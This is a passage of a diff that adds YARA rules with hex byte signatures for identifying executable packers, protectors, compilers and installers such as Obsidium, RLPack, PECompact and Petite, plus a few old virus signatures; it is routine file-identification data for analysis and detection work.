+		$0 = {E9 59 E4 FF FF 00 00 00 00 00 00 00 ?? ?? ?? ?? EE ?? ?? 00 00 00 00 00 00 00 00 00 0E ?? ?? 00 FE ?? ?? 00 F6 ?? ?? 00 00 00 00 00 00 00 00 00 1B ?? ?? 00 06 ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 26 ?? ?? 00 00 00 00 00 39 ?? ?? 00 00 00 00 00 26 ?? ?? 00 00 00 00 00 39 ?? ?? 00 00 00 00 00 6B 65 72 6E 65 6C 33 32 2E 64 6C 6C}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_01_Borland_Delphi_60__70_
+{
+	meta:
+		description = "PseudoSigner 0.1 [Borland Delphi 6.0 - 7.0]"
+	strings:
+		$0 = {90 90 90 90 68 ?? ?? ?? ?? 67 64 FF 36 00 00 67 64 89 26 00 00 F1 90 90 90 90 53 8B D8 33 C0 A3 09 09 09 00 6A 00 E8 09 09 00 FF A3 09 09 09 00 A1 09 09 09 00 A3 09 09 09 00 33 C0 A3 09 09 09 00 33 C0 A3 09 09 09 00 E8}
+	condition:
+		$0 at entrypoint
+}
+rule _Obsidium_1258__Obsidium_Software_
+{
+	meta:
+		description = "Obsidium 1.2.5.8 -> Obsidium Software"
+	strings:
+		$0 = {EB 01 ?? E8 29 00 00 00 EB 02 ?? ?? EB 01 ?? 8B 54 24 0C EB 04 ?? ?? ?? ?? 83 82 B8 00 00 00 24 EB 04 ?? ?? ?? ?? 33 C0 EB 02 ?? ?? C3 EB 02 ?? ?? EB 03 ?? ?? ?? 64 67 FF 36 00 00 EB 01 ?? 64 67 89 26 00 00 EB 03 ?? ?? ?? EB 01 ?? 50 EB 03 ?? ?? ?? 33 C0}
+		$1 = {EB 01 ?? E8 29 00 00 00 EB 02 ?? ?? EB 01 ?? 8B 54 24 0C EB 04 ?? ?? ?? ?? 83 82 B8 00 00 00 24 EB 04 ?? ?? ?? ?? 33 C0 EB 02 ?? ?? C3 EB 02 ?? ?? EB 03 ?? ?? ?? 64 67 FF 36 00 00 EB 01 ?? 64 67 89 26 00 00 EB 03 ?? ?? ?? EB 01 ?? 50 EB 03 ?? ?? ?? 33 C0 EB 04 ?? ?? ?? ?? 8B 00 EB 03 ?? ?? ?? C3 EB 01 ?? E9 FA 00 00 00 EB 02 ?? ?? E8 D5 FF FF FF EB 04 ?? ?? ?? ?? EB 03 ?? ?? ?? EB 01 ?? 58 EB 01 ?? EB 02 ?? ?? 64 67 8F 06 00 00 EB 04 ?? ?? ?? ?? 83 C4 04 EB 01 ?? E8 7B 21 00 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _yzpack_V11__UsAr__Sign_by_fly_
+{
+	meta:
+		description = "yzpack V1.1 -> UsAr ! Sign by fly"
+	strings:
+		$0 = {60 33 C0 8D 48 07 50 E2 FD 8B EC 64 8B 40 30 78 0C 8B 40 0C 8B 70 1C AD 8B 40 08 EB 09 8B 40 34 8D 40 7C 8B 40 3C 89 45 04 E8 F3 07 00 00 60 8B 5D 04 8B 73 3C 8B 74 33 78 03 F3 56 8B 76 20 03 F3 33 C9 49 92 41 AD 03 C3 52 33 FF 0F B6 10 38 F2}
+	condition:
+		$0 at entrypoint
+}
+rule _EP_ExE_Pack_V10__Elite_Coding_Group_
+{
+	meta:
+		description = "!EP (ExE Pack) V1.0 -> Elite Coding Group"
+	strings:
+		$0 = {60 68 ?? ?? ?? ?? B8 ?? ?? ?? ?? FF 10}
+	condition:
+		$0 at entrypoint
+}
+rule _Cygwin32_
+{
+	meta:
+		description = "Cygwin32"
+	strings:
+		$0 = {55 89 E5 83 EC 04 83 3D}
+	condition:
+		$0 at entrypoint
+}
+rule _Packed_with_PKLITE_v150_with_CRC_check_1_
+{
+	meta:
+		description = "Packed with? PKLITE v1.50 with CRC check (1)"
+	strings:
+		$0 = {1F B4 09 BA ?? ?? CD 21 B8 ?? ?? CD 21}
+	condition:
+		$0 at entrypoint
+}
+rule _Thinstall_Virtualization_Suite_V30X__Thinstall_Company__Sign_by_fly_
+{
+	meta:
+		description = "Thinstall Virtualization Suite V3.0X -> Thinstall Company ! Sign by fly"
+	strings:
+		$0 = {9C 60 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 00 00 00 00 58 BB ?? ?? ?? ?? 2B C3 50 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 BA FE FF FF E9 ?? ?? ?? ?? CC CC CC CC CC CC CC 55 8B EC 83 C4 F4 FC 53 57 56 8B 75 08 8B 7D 0C C7 45 FC 08 00 00 00 33 DB BA ?? ?? ?? ?? 43 33 C0 E8 19 01 00 00 73 0E 8B 4D F8 E8 27 01 00 00 02 45 F7 AA EB E9 E8 04 01 00 00 0F 82 96 00 00 00 E8 F9 00 00 00 73 5B B9 04 00 00 00 E8 05 01 00 00 48 74 DE 0F 89 ?? ?? ?? ?? E8 DF 00 00 00 73 1B 55 BD ?? ?? ?? ?? E8 DF 00 00 00 88 07 47 4D 75 F5 E8 C7 00 00 00 72 E9 5D EB}
+	condition:
+		$0 at entrypoint
+}
+rule _EP_v10_
+{
+	meta:
+		description = "EP v1.0"
+	strings:
+		$0 = {50 83 C0 17 8B F0 97 33 C0 33 C9 B1 24 AC 86 C4 AC AA 86 C4 AA E2 F6 00 B8 40 00 03 00 3C 40 D2 33 8B 66 14 50 70 8B 8D 34 02 44 8B 18 10 48 70 03 BA 0C ?? ?? ?? ?? C0 33 FE 8B 30 AC 30 D0 C1 F0 10 C2 D0 30 F0 30 C2 C1 AA 10 42 42 CA C1 E2 04 5F E9 5E B1 C0 30 ?? 68 ?? ?? F3 00 C3 AA}
+	condition:
+		$0 at entrypoint
+}
+rule _DCrypt_Private_09b__drmist_
+{
+	meta:
+		description = "DCrypt Private 0.9b -> drmist"
+	strings:
+		$0 = {B9 ?? ?? ?? 00 E8 00 00 00 00 58 68 ?? ?? ?? 00 83 E8 0B 0F 18 00 D0 00 48 E2 FB C3}
+	condition:
+		$0 at entrypoint
+}
+rule _AntiVirus_Vaccine_v103_
+{
+	meta:
+		description = "AntiVirus Vaccine v.1.03"
+	strings:
+		$0 = {FA 33 DB B9 ?? ?? 0E 1F 33 F6 FC AD 35 ?? ?? 03 D8 E2}
+	condition:
+		$0 at entrypoint
+}
+rule _Borland_Cpp_for_Win16_1991_
+{
+	meta:
+		description = "Borland C++ for Win16 1991"
+	strings:
+		$0 = {9A FF FF 00 00 0B C0 75 ?? E9 ?? ?? 8C ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? ?? B8 FF FF 50 9A FF FF 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _RLPack_V10beta__ap0x__Sign_by_fly_
+{
+	meta:
+		description = "RLPack V1.0.beta -> ap0x ! Sign by fly"
+	strings:
+		$0 = {60 E8 00 00 00 00 8D 64 24 04 8B 6C 24 FC 8D B5 4C 02 00 00 8D 9D 13 01 00 00 33 FF EB 0F FF 74 37 04 FF 34 37 FF D3 83 C4 08 83 C7 08 83 3C 37 00 75 EB}
+	condition:
+		$0 at entrypoint
+}
+rule _XtremeProtector_v106_
+{
+	meta:
+		description = "Xtreme-Protector v1.06"
+	strings:
+		$0 = {B8 ?? ?? ?? 00 B9 75 ?? ?? 00 50 51 E8 05 00 00 00 E9 4A 01 00 00 60 8B 74 24 24 8B 7C 24 28 FC B2 80 8A 06 46 88 07 47 BB 02 00 00 00 02 D2 75 05 8A 16 46 12 D2 73 EA 02 D2 75 05 8A 16 46 12 D2 73 4F 33 C0 02 D2 75 05 8A 16 46 12 D2 0F 83 DF 00 00 00 02 D2 75 05 8A 16 46 12 D2 13 C0 02 D2 75 05 8A 16 46 12 D2 13 C0 02 D2 75 05 8A 16 46 12 D2 13 C0 02 D2 75 05 8A 16 46 12 D2 13 C0 74 06 57 2B F8 8A 07 5F 88 07 47 BB 02 00 00 00 EB 9B B8 01 00 00 00 02 D2 75 05 8A 16 46 12 D2 13 C0 02 D2 75 05 8A 16 46 12 D2 72 EA 2B C3 BB 01 00 00 00 75 28 B9 01 00 00 00 02 D2 75 05 8A 16 46 12 D2 13 C9 02 D2 75 05 8A 16 46 12 D2 72 EA 56 8B F7 2B F5 F3 A4 5E E9 4F FF FF FF 48 C1 E0 08 8A 06 46 8B E8 B9 01 00 00 00 02 D2 75 05 8A 16 46 12 D2 13 C9 02 D2 75 05 8A 16 46 12 D2 72 EA 3D 00 7D 00 00 73 1A 3D 00 05 00 00 72 0E 41 56 8B F7 2B F0 F3 A4 5E E9 0F FF FF FF 83 F8 7F 77 03 83 C1 02 56 8B F7 2B F0 F3 A4 5E E9 FA FE FF FF 8A 06 46 33 C9 C0 E8 01 74 17 83 D1 02 8B E8 56 8B F7 2B F0 F3 A4 5E BB 01 00 00 00 E9 D9 FE FF FF 2B 7C 24 28 89 7C 24 1C 61 C2 08 00 E9 ?? ?? ?? 00 E9 38 ?? ?? ?? 01}
+	condition:
+		$0 at entrypoint
+}
+rule _Wise_Installer_Stub_
+{
+	meta:
+		description = "Wise Installer Stub"
+	strings:
+		$0 = {55 8B EC 81 EC 78 05 00 00 53 56 BE 04 01 00 00 57 8D 85 94 FD FF FF 56 33 DB 50 53 FF 15 34 20 40 00 8D 85 94 FD FF FF 56 50 8D 85 94 FD FF FF 50 FF 15 30 20 40 00 8B 3D 2C 20 40 00 53 53 6A 03 53 6A 01 8D 85 94 FD FF FF 68 00 00 00 80 50 FF D7 83 F8 FF}
+		$1 = {55 8B EC 81 EC 78 05 00 00 53 56 BE 04 01 00 00 57 8D 85 94 FD FF FF 56 33 DB 50 53 FF 15 34 20 40 00 8D 85 94 FD FF FF 56 50 8D 85 94 FD FF FF 50 FF 15 30 20 40 00 8B 3D 2C 20 40 00 53 53 6A 03 53 6A 01 8D 85 94 FD FF FF 68 00 00 00 80 50 FF D7 83 F8 FF 89 45 FC 0F 84 7B 01 00 00 8D 85 90 FC FF FF 50 56 FF 15 28 20 40 00 8D 85 98 FE FF FF 50 53 8D 85 90 FC FF FF 68 10 30 40 00 50 FF 15 24 20 40 00 53 68 80 00 00 00 6A 02 53 53 8D 85 98 FE FF FF 68 00 00 00 40 50 FF D7 83 F8 FF 89 45 F4 0F 84 2F 01 00 00 53 53 53 6A 02 53 FF 75 FC FF 15 00 20 40 00 53 53 53 6A 04 50 89 45 F8 FF 15 1C 20 40 00 8B F8 C7 45 FC 01 00 00 00 8D 47 01 8B 08 81 F9 4D 5A 9A 00 74 08 81 F9 4D 5A 90 00 75 06 80 78 04 03 74 0D FF 45 FC 40 81 7D FC 00 80 00 00 7C DB 8D 4D F0 53 51 68}
+		$2 = {55 8B EC 81 EC ?? ?? 00 00 53 56 57 6A 01 5E 6A 04 89 75 E8 FF 15 ?? 40 40 00 FF 15 ?? 40 40 00 8B F8 89 7D ?? 8A 07 3C 22 0F 85 ?? 00 00 00 8A 47 01 47 89 7D ?? 33 DB 3A C3 74 0D 3C 22 74 09 8A 47 01 47 89 7D ?? EB EF 80 3F 22 75 04 47 89 7D ?? 80 3F 20}
+		$3 = {55 8B EC 81 EC ?? ?? 00 00 53 56 57 6A 01 5E 6A 04 89 75 E8 FF 15 ?? 40 40 00 FF 15 ?? 40 40 00 8B F8 89 7D ?? 8A 07 3C 22 0F 85 ?? 00 00 00 8A 47 01 47 89 7D ?? 33 DB 3A C3 74 0D 3C 22 74 09 8A 47 01 47 89 7D ?? EB EF 80 3F 22 75 04 47 89 7D ?? 80 3F 20 75 09 47 80 3F 20 74 FA 89 7D ?? 53 FF 15 ?? 40 40 00 80 3F 2F 89 45 ?? 75 ?? 8A 47 01 3C 53 74 04 3C 73 75 06 89 35}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 or $3
+}
+rule _SimplePack_V11X_Method1__bagie__Sign_by_fly_
+{
+	meta:
+		description = "SimplePack V1.1X (Method1) -> bagie ! Sign by fly"
+	strings:
+		$0 = {60 E8 00 00 00 00 5B 8D 5B FA BD ?? ?? ?? ?? 8B 7D 3C 8D 74 3D 00 8D BE F8 00 00 00 0F B7 76 06 4E 8B 47 10 09 C0}
+	condition:
+		$0 at entrypoint
+}
+rule _TPPpack_clane_
+{
+	meta:
+		description = "TPPpack-> clane"
+	strings:
+		$0 = {E8 00 00 00 00 5D 81 ED F5 8F 40 00 60 33 ?? E8}
+	condition:
+		$0
+}
+rule _WinUpack_v030_beta__By_Dwing_h_
+{
+	meta:
+		description = "WinUpack v0.30 beta -> By Dwing (h)"
+	strings:
+		$0 = {E9 ?? ?? ?? ?? 42 79 44 77 69 6E 67 40 00 00 00 50 45 00 00}
+	condition:
+		$0
+}
+rule _EXECryptor_v13045_
+{
+	meta:
+		description = "EXECryptor v1.3.0.45"
+	strings:
+		$0 = {E8 24 00 00 00 8B 4C 24 0C C7 01 17 00 01 00 C7 81 ?? ?? ?? ?? ?? ?? ?? 31 C0 89 41 14 89 41 18 80 A1}
+		$1 = {E8 24 ?? ?? ?? 8B 4C 24 0C C7 01 17 ?? 01 ?? C7 81 ?? ?? ?? ?? ?? ?? ?? 31 C0 89 41 14 89 41 18 80 A1}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PolyBox_D__Anskya_
+{
+	meta:
+		description = "PolyBox D -> Anskya"
+	strings:
+		$0 = {55 8B EC 33 C9 51 51 51 51 51 53 33 C0 55 68 84 2C 40 00 64 FF 30 64 89 20 C6 45 FF 00 B8 B8 46 40 00 BA 24 00 00 00 E8 8C F3 FF FF 6A 24 BA B8 46 40 00 8B 0D B0 46 40 00 A1 94 46 40 00 E8 71 FB FF FF 84 C0 0F 84 6E 01 00 00 8B 1D D0 46 40 00 8B C3 83 C0 24 03 05 D8 46 40 00 3B 05 B4 46 40 00 0F 85 51 01 00 00 8D 45 F4 BA B8 46 40 00 B9 10 00 00 00 E8 A2 EC FF FF 8B 45 F4 BA 9C 2C 40 00 E8 F1 ED FF FF}
+	condition:
+		$0
+}
+rule _Microsoft_C_
+{
+	meta:
+		description = "Microsoft C"
+	strings:
+		$0 = {B4 30 CD 21 3C 02 73 ?? B8}
+	condition:
+		$0 at entrypoint
+}
+rule _Obsidium_V1258V133X__Obsidium_Software__Sign_by_fly_
+{
+	meta:
+		description = "Obsidium V1.2.5.8-V1.3.3.X -> Obsidium Software ! Sign by fly"
+	strings:
+		$0 = {EB 01 ?? E8 ?? 00 00 00 EB 02 ?? ?? EB}
+	condition:
+		$0 at entrypoint
+}
+rule _nPack_111502006Beta__NEOx_
+{
+	meta:
+		description = "nPack 1.1.150.2006.Beta -> NEOx"
+	strings:
+		$0 = {83 3D ?? ?? ?? ?? ?? 75 05 E9 01 00 00 00 C3 E8 41 00 00 00 B8 ?? ?? ?? ?? 2B 05 ?? ?? ?? ?? A3 ?? ?? ?? ?? E8 5E 00 00 00 E8 E0 01 00 00 E8 EC 06 00 00 E8 F7 05 00 00 A1 ?? ?? ?? ?? C7 05 ?? ?? ?? ?? ?? ?? ?? ?? 01 05 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? C3 C3}
+		$1 = {83 3D ?? ?? ?? ?? ?? 75 05 E9 01 00 00 00 C3 E8 41 00 00 00 B8 ?? ?? ?? ?? 2B 05 ?? ?? ?? ?? A3 ?? ?? ?? ?? E8 5E 00 00 00 E8 E0 01 00 00 E8 EC 06 00 00 E8 F7 05 00 00 A1 ?? ?? ?? ?? C7 05 ?? ?? ?? ?? ?? ?? ?? ?? 01 05 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? C3 C3 56 57 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? 8B F8 68 ?? ?? ?? ?? 57 FF D6 68 ?? ?? ?? ?? 57 A3 ?? ?? ?? ?? FF D6 5F A3 ?? ?? ?? ?? 5E C3}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Apex_30_alpha__500mhz_
+{
+	meta:
+		description = "Apex 3.0 alpha -> 500mhz"
+	strings:
+		$0 = {5F B9 14 00 00 00 51 BE 00 10 40 00 B9 00 ?? ?? 00 8A 07 30 06 46 E2 FB 47 59 E2 EA 68 ?? ?? ?? 00 C3}
+	condition:
+		$0
+}
+rule _VProtector_V13X__vcasm_
+{
+	meta:
+		description = "VProtector V1.3X -> vcasm"
+	strings:
+		$0 = {00 00 00 00 55 73 65 72 33 32 2E 64 6C 6C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 47 64 69 33 32 2E 64 6C 6C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 00 00 00 00 00 00 00 00}
+		$1 = {E9 B9 16 00 00 55 8B EC 81 EC 74 04 00 00 57 68 00 00 00 00 68 00 00 C2 14 68 FF FF 00 00 68 ?? ?? ?? ?? 9C 81 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 9D 54 FF 14 24 68 00 00 00 00 68 00 00 C2 10 68 ?? ?? ?? ?? 9C 81 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 9D 54 FF 14 24 68}
+	condition:
+		$0 or $1 at entrypoint
+}
+rule _ASProtect_vxx_
+{
+	meta:
+		description = "ASProtect vx.x"
+	strings:
+		$0 = {60 ?? ?? ?? ?? ?? 90 5D ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 03 DD}
+	condition:
+		$0 at entrypoint
+}
+rule _PECompact_v160__v165_
+{
+	meta:
+		description = "PECompact v1.60 - v1.65"
+	strings:
+		$0 = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 3F 80 40 ?? 87 DD 8B 85 D2 80 40 ?? 01 85 33 80 40 ?? 66 C7 85 ?? 80 40 ?? 90 90 01 85 CE 80 40 ?? BB BB 12}
+	condition:
+		$0 at entrypoint
+}
+rule _Upack_v029_beta__Dwing_
+{
+	meta:
+		description = "Upack v0.29 beta -> Dwing"
+	strings:
+		$0 = {E9 ?? ?? ?? ?? 42 79 44 77 69 6E 67 40 00 00 00 50 45 00 00 4C 01 02 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 29}
+	condition:
+		$0 at entrypoint
+}
+rule _Petite_13__c1998_Ian_Luck_h_
+{
+	meta:
+		description = "Petite 1.3 -> (c)1998 Ian Luck (h)"
+	strings:
+		$0 = {9C 60 50 8D 88 00 ?? ?? ?? 8D 90 ?? ?? 00 00 8B DC 8B E1 68 00 00 ?? ?? 53 50 80 04 24 08 50 80 04 24 42 50 80 04 24 61 50 80 04 24 9D 50 80 04 24 BB 83 3A 00 0F 84 DA 14 00 00 8B 44 24 18 F6 42 03 80 74 19 FD 80 72 03 80 8B F0 8B F8 03 72 04 03 7A 08 8B 0A F3 A5 83 C2 0C FC EB D4 8B 7A 08 03 F8 8B 5A 04 85 DB 74 13 52 53 57 03 02 50 E8 7B 00 00 00 85 C0 74 2E 5F 5F 58 5A 8B 4A 0C C1 F9 02 F3 AB 8B 4A 0C 83 E1 03 F3 AA 83 C2 10 EB A0 45 52 52 4F 52 21 00 43 6F 72 72 75 70 74 20 44 61 74 61 21 00 8B 64 24 24 8B 04 24 83 C4 26 8B D0 66 81 C2 6D 01 6A 10 8B D8 66 05 66 01 50 52 6A 00 8B 13 FF 14 1A 6A FF FF 93 ?? ?? 00 00 56 57 8B 7C 24 0C 8B 74 24 10 8B 4C 24 14 C1 F9 02 F3 A5 8B 4C 24 14 83 E1 03 F3 A4 5F 5E C3}
+	condition:
+		$0 at entrypoint
+}
+rule _PKLITE_v150_Device_driver_compression_
+{
+	meta:
+		description = "PKLITE v1.50 (Device driver compression)"
+	strings:
+		$0 = {B4 09 BA 14 01 CD 21 B8 00 4C CD 21 F8 9C 50 53 51 52 56 57 55 1E 06 BB}
+	condition:
+		$0 at entrypoint
+}
+rule _PCShrink_071_beta_
+{
+	meta:
+		description = "PCShrink 0.71 beta"
+	strings:
+		$0 = {01 AD 54 3A 40 00 FF B5 50 3A 40 00 6A 40 FF 95 88 3A 40 00}
+	condition:
+		$0 at entrypoint
+}
+rule _EXECryptor_239_minimum_protection_
+{
+	meta:
+		description = "EXECryptor 2.3.9 (minimum protection)"
+	strings:
+		$0 = {68 ?? ?? ?? ?? E9 ?? ?? ?? FF 50 C1 C8 18 89 05 ?? ?? ?? ?? C3 C1 C0 18 51 E9 ?? ?? ?? FF 84 C0 0F 84 6A F9 FF FF E9 ?? ?? ?? FF C3 E9 ?? ?? ?? FF E8 CF E9 FF FF B8 01 00 00 00 E9 ?? ?? ?? FF 2B D0 68 A0 36 80 D4 59 81 C9 64 98 FF 99 E9 ?? ?? ?? FF 84 C0 0F 84 8E EC FF FF E9 ?? ?? ?? FF C3 87 3C 24 5F 8B 00 03 45 FC 83 C0 18 E9 ?? ?? ?? FF 87 0C 24 59 B8 01 00 00 00 D3 E0 23 D0 E9 02 18 00 00 0F 8D DB 00 00 00 C1 E8 14 E9 CA 00 00 00 9D 87 0C 24 59 87 1C 24 68 AE 73 B9 96 E9 C5 10 00 00 0F 8A ?? ?? ?? ?? E9 ?? ?? ?? FF 81 FD F5 FF 8F 07 E9 4F 10 00 00 C3 E9 5E 12 00 00 87 3C 24 E9 ?? ?? ?? FF E8 ?? ?? ?? FF 83 3D ?? ?? ?? ?? 00 0F 85 ?? ?? ?? ?? 8D 55 EC B8 ?? ?? ?? ?? E9 ?? ?? ?? FF E8 A7 1A 00 00 E8 2A CB FF FF E9 ?? ?? ?? FF C3 E9 ?? ?? ?? FF 59 89 45 E0}
+	condition:
+		$0 at entrypoint
+}
+rule _eXPressorPacK_V150X__CGSoftLabs__Sign_by_fly_
+{
+	meta:
+		description = "eXPressor.PacK V1.5.0.X -> CGSoftLabs ! Sign by fly"
+	strings:
+		$0 = {55 8B EC 81 EC ?? ?? ?? ?? 53 56 57 83 A5 ?? ?? ?? ?? ?? F3 EB 0C 65 58 50 72 2D 76 2E 31 2E 35 2E 00 83 7D 0C ?? 75 23 8B 45 08 A3 ?? ?? ?? ?? 6A 04 68 00 10 00 00 68 20 03 00 00 6A 00 FF 15 ?? ?? ?? ?? A3 ?? ?? ?? ?? EB 04}
+	condition:
+		$0 at entrypoint
+}
+rule _Borland_Delphi_3__Portions_Copyright_c_198396_Borland_h_
+{
+	meta:
+		description = "Borland Delphi 3 -> Portions Copyright (c) 1983,96 Borland (h)"
+	strings:
+		$0 = {50 6F 72 74 69 6F 6E 73 20 43 6F 70 79 72 69 67 68 74 20 28 63 29 20 31 39 38 33 2C 39 36 20 42 6F 72 6C 61 6E 64 00}
+	condition:
+		$0
+}
+rule _MinGW_v32x_Dll_mainCRTStartup_
+{
+	meta:
+		description = "MinGW v3.2.x (Dll_mainCRTStartup)"
+	strings:
+		$0 = {55 89 E5 83 EC 08 6A 00 6A 00 6A 00 6A 00 E8 0D 00 00 00 B8 00 00 00 00 C9 C3 90 90 90 90 90 90 FF 25 38 20 00 10 90 90 00 00 00 00 00 00 00 00 FF FF FF FF 00 00 00 00 FF FF FF FF 00 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Petite_13__c1998_Ian_Luck_
+{
+	meta:
+		description = "Petite 1.3 -> (c)1998 Ian Luck"
+	strings:
+		$0 = {9C 60 50 8D 88 00 ?? ?? ?? 8D 90 ?? ?? 00 00 8B DC 8B E1 68 00 00 ?? ?? 53 50 80 04 24 08 50 80 04 24 42 50 80 04 24 61 50 80 04 24 9D 50 80 04 24 BB 83 3A 00 0F 84 DA 14 00 00 8B 44 24 18 F6 42 03 80 74 19 FD 80 72 03 80 8B F0 8B F8 03}
+	condition:
+		$0 at entrypoint
+}
+rule _Code_Virtualizer_V1310__Oreans_Technologies_
+{
+	meta:
+		description = "Code Virtualizer V1.3.1.0 -> Oreans Technologies"
+	strings:
+		$0 = {60 9C FC E8 00 00 00 00 5F 81 EF ?? ?? ?? ?? 8B C7 81 C7 ?? ?? ?? ?? 3B 47 2C 75 02 EB 2E 89 47 2C B9 A7 00 00 00 EB 05 01 44 8F ?? 49 0B C9 75 F7 83 7F 40 00 74 15 8B 77 40 03 F0 EB 09 8B 1E 03 D8 01 03 83 C6 04 83 3E 00 75 F2 8B 74 24 24 8B DE 03 F0 B9}
+	condition:
+		$0 at entrypoint
+}
+rule _MSLRH_
+{
+	meta:
+		description = "MSLRH"
+	strings:
+		$0 = {60 EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 2B 04 24 74 04 75 02 EB 02 EB 01 81 83 C4 04 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 3D FF 0F 00 00 EB 01 68 EB 02 CD 20 EB 01 E8 76 1B EB 01 68 EB 02 CD 20 EB 01 E8 CC 66 B8 FE 00 74 04 75 02 EB 02 EB 01 81 66 E7 64 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08}
+		$1 = {60 EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 2B 04 24 74 04 75 02 EB 02 EB 01 81 83 C4 04 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 3D FF 0F 00 00 EB 01 68 EB 02 CD 20 EB 01 E8 76 1B EB 01 68 EB 02 CD 20 EB 01 E8 CC 66 B8 FE 00 74 04 75 02 EB 02 EB 01 81 66 E7 64 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 2B 04 24 74 04 75 02 EB 02 EB 01 81}
+	condition:
+		$0 at entrypoint or $1
+}
+rule _Vx_Quake518_
+{
+	meta:
+		description = "Vx: Quake.518"
+	strings:
+		$0 = {1E 06 8C C8 8E D8 ?? ?? ?? ?? ?? ?? ?? B8 21 35 CD 21 81}
+	condition:
+		$0 at entrypoint
+}
+rule _PE_Crypt32_Console_v10_v101_v102_
+{
+	meta:
+		description = "PE Crypt32 (Console v1.0, v1.01, v1.02)"
+	strings:
+		$0 = {E8 00 00 00 00 5B 83 EB 05 EB 04 52 4E 44 21 EB 02 CD 20 EB}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_01_PE_Pack_099__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.1 [PE Pack 0.99] -> Anorganix"
+	strings:
+		$0 = {60 E8 11 00 00 00 5D 83 ED 06 80 BD E0 04 90 90 01 0F 84 F2 FF CC 0A E9}
+	condition:
+		$0 at entrypoint
+}
+rule _VX_TibsZhelatin_StormWorm_variant_
+{
+	meta:
+		description = "VX: Tibs/Zhelatin StormWorm variant"
+	strings:
+		$0 = {FF 74 24 1C 58 8D 80 ?? ?? 77 04 50 68 62 34 35 04 E8}
+	condition:
+		$0 at entrypoint
+}
+rule _BJFnt_v13_
+{
+	meta:
+		description = ".BJFnt v1.3"
+	strings:
+		$0 = {EB 03 3A 4D 3A 1E EB 02 CD 20 9C EB 02 CD 20 EB 02 CD 20 60}
+		$1 = {EB ?? 3A ?? ?? 1E EB ?? CD 20 9C EB ?? CD 20 EB ?? CD 20 60 EB}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _RLPack_Full_Edition_117_iBox_LZMA_
+{
+	meta:
+		description = "RLPack Full Edition 1.17 iBox (LZMA)"
+	strings:
+		$0 = {60 E8 00 00 00 00 8B 2C 24 83 C4 04 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 8D B5 67 30 00 00 8D 9D 66 03 00 00 33 FF ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 6A 40 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A}
+	condition:
+		$0 at entrypoint
+}
+rule _PECompact_v168__v184_
+{
+	meta:
+		description = "PECompact v1.68 - v1.84"
+	strings:
